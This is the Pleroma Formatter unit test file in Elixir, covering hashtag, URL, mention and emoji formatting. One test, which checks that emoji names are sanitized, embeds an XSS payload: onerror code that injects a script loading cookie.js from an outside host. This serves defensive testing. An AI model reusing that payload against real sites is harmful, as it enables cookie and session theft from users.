Fork of Pleroma with site-specific changes and feature branches https://git.pleroma.social/pleroma/pleroma
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

303 lines
11KB

  1. # Pleroma: A lightweight social networking server
  2. # Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
  3. # SPDX-License-Identifier: AGPL-3.0-only
  4. defmodule Pleroma.FormatterTest do
  5. alias Pleroma.Formatter
  6. alias Pleroma.User
  7. use Pleroma.DataCase
  8. import Pleroma.Factory
  9. setup_all do
  10. Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
  11. :ok
  12. end
  13. describe ".add_hashtag_links" do
  14. test "turns hashtags into links" do
  15. text = "I love #cofe and #2hu"
  16. expected_text =
  17. "I love <a class='hashtag' data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a class='hashtag' data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
  18. tags = Formatter.parse_tags(text)
  19. assert expected_text ==
  20. Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize()
  21. end
  22. test "does not turn html characters to tags" do
  23. text = "Fact #3: pleroma does what mastodon't"
  24. expected_text =
  25. "Fact <a class='hashtag' data-tag='3' href='http://localhost:4001/tag/3' rel='tag'>#3</a>: pleroma does what mastodon't"
  26. tags = Formatter.parse_tags(text)
  27. assert expected_text ==
  28. Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize()
  29. end
  30. end
  31. describe ".add_links" do
  32. test "turning urls into links" do
  33. text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
  34. expected =
  35. "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
  36. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  37. text = "https://mastodon.social/@lambadalambda"
  38. expected =
  39. "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
  40. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  41. text = "https://mastodon.social:4000/@lambadalambda"
  42. expected =
  43. "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
  44. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  45. text = "@lambadalambda"
  46. expected = "@lambadalambda"
  47. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  48. text = "http://www.cs.vu.nl/~ast/intel/"
  49. expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
  50. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  51. text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
  52. expected =
  53. "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
  54. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  55. text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
  56. expected =
  57. "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
  58. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  59. text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
  60. expected =
  61. "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
  62. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  63. text = "https://en.wikipedia.org/wiki/Duff's_device"
  64. expected =
  65. "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
  66. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  67. text = "https://pleroma.com https://pleroma.com/sucks"
  68. expected =
  69. "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
  70. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  71. text = "xmpp:contact@hacktivis.me"
  72. expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
  73. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  74. text =
  75. "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
  76. expected = "<a href=\"#{text}\">#{text}</a>"
  77. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  78. end
  79. end
  80. describe "add_user_links" do
  81. test "gives a replacement for user links, using local nicknames in user links text" do
  82. text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me"
  83. gsimg = insert(:user, %{nickname: "gsimg"})
  84. archaeme =
  85. insert(:user, %{
  86. nickname: "archa_eme_",
  87. info: %Pleroma.User.Info{source_data: %{"url" => "https://archeme/@archa_eme_"}}
  88. })
  89. archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
  90. mentions = Pleroma.Formatter.parse_mentions(text)
  91. {subs, text} = Formatter.add_user_links({[], text}, mentions)
  92. assert length(subs) == 3
  93. Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
  94. expected_text =
  95. "<span class='h-card'><a data-user='#{gsimg.id}' class='u-url mention' href='#{
  96. gsimg.ap_id
  97. }'>@<span>gsimg</span></a></span> According to <span class='h-card'><a data-user='#{
  98. archaeme.id
  99. }' class='u-url mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class='h-card'><a data-user='#{
  100. archaeme_remote.id
  101. }' class='u-url mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"
  102. assert expected_text == Formatter.finalize({subs, text})
  103. end
  104. test "gives a replacement for user links when the user is using Osada" do
  105. mike = User.get_or_fetch("mike@osada.macgirvin.com")
  106. text = "@mike@osada.macgirvin.com test"
  107. mentions = Formatter.parse_mentions(text)
  108. {subs, text} = Formatter.add_user_links({[], text}, mentions)
  109. assert length(subs) == 1
  110. Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
  111. expected_text =
  112. "<span class='h-card'><a data-user='#{mike.id}' class='u-url mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
  113. assert expected_text == Formatter.finalize({subs, text})
  114. end
  115. test "gives a replacement for single-character local nicknames" do
  116. text = "@o hi"
  117. o = insert(:user, %{nickname: "o"})
  118. mentions = Formatter.parse_mentions(text)
  119. {subs, text} = Formatter.add_user_links({[], text}, mentions)
  120. assert length(subs) == 1
  121. Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
  122. expected_text =
  123. "<span class='h-card'><a data-user='#{o.id}' class='u-url mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
  124. assert expected_text == Formatter.finalize({subs, text})
  125. end
  126. test "does not give a replacement for single-character local nicknames who don't exist" do
  127. text = "@a hi"
  128. mentions = Formatter.parse_mentions(text)
  129. {subs, text} = Formatter.add_user_links({[], text}, mentions)
  130. assert Enum.empty?(subs)
  131. Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
  132. expected_text = "@a hi"
  133. assert expected_text == Formatter.finalize({subs, text})
  134. end
  135. end
  136. describe ".parse_tags" do
  137. test "parses tags in the text" do
  138. text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。"
  139. expected = [
  140. {"#Test", "test"},
  141. {"#working", "working"},
  142. {"#漢字", "漢字"},
  143. {"#は", "は"}
  144. ]
  145. assert Formatter.parse_tags(text) == expected
  146. end
  147. end
  148. test "it can parse mentions and return the relevant users" do
  149. text =
  150. "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
  151. o = insert(:user, %{nickname: "o"})
  152. jimm = insert(:user, %{nickname: "jimm"})
  153. gsimg = insert(:user, %{nickname: "gsimg"})
  154. archaeme = insert(:user, %{nickname: "archaeme"})
  155. archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
  156. expected_result = [
  157. {"@gsimg", gsimg},
  158. {"@archaeme", archaeme},
  159. {"@archaeme@archae.me", archaeme_remote},
  160. {"@o", o},
  161. {"@jimm", jimm}
  162. ]
  163. assert Formatter.parse_mentions(text) == expected_result
  164. end
  165. test "it adds cool emoji" do
  166. text = "I love :moominmamma:"
  167. expected_result =
  168. "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"
  169. assert Formatter.emojify(text) == expected_result
  170. end
  171. test "it does not add XSS emoji" do
  172. text =
  173. "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
  174. custom_emoji = %{
  175. "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
  176. "https://placehold.it/1x1"
  177. }
  178. expected_result =
  179. "I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
  180. assert Formatter.emojify(text, custom_emoji) == expected_result
  181. end
  182. test "it returns the emoji used in the text" do
  183. text = "I love :moominmamma:"
  184. assert Formatter.get_emoji(text) == [{"moominmamma", "/finmoji/128px/moominmamma-128.png"}]
  185. end
  186. test "it returns a nice empty result when no emojis are present" do
  187. text = "I love moominamma"
  188. assert Formatter.get_emoji(text) == []
  189. end
  190. test "it doesn't die when text is absent" do
  191. text = nil
  192. assert Formatter.get_emoji(text) == []
  193. end
  194. describe "/mentions_escape" do
  195. test "it returns text with escaped mention names" do
  196. text = """
  197. @a_breakin_glass@cybre.space
  198. (also, little voice inside my head thinking "maybe this will encourage people
  199. pronouncing it properly instead of saying _raKEWdo_ ")
  200. """
  201. escape_text = """
  202. @a\\_breakin\\_glass@cybre\\.space
  203. (also, little voice inside my head thinking \"maybe this will encourage people
  204. pronouncing it properly instead of saying _raKEWdo_ \")
  205. """
  206. mentions = [{"@a_breakin_glass@cybre.space", %{}}]
  207. assert Formatter.mentions_escape(text, mentions) == escape_text
  208. end
  209. end
  210. end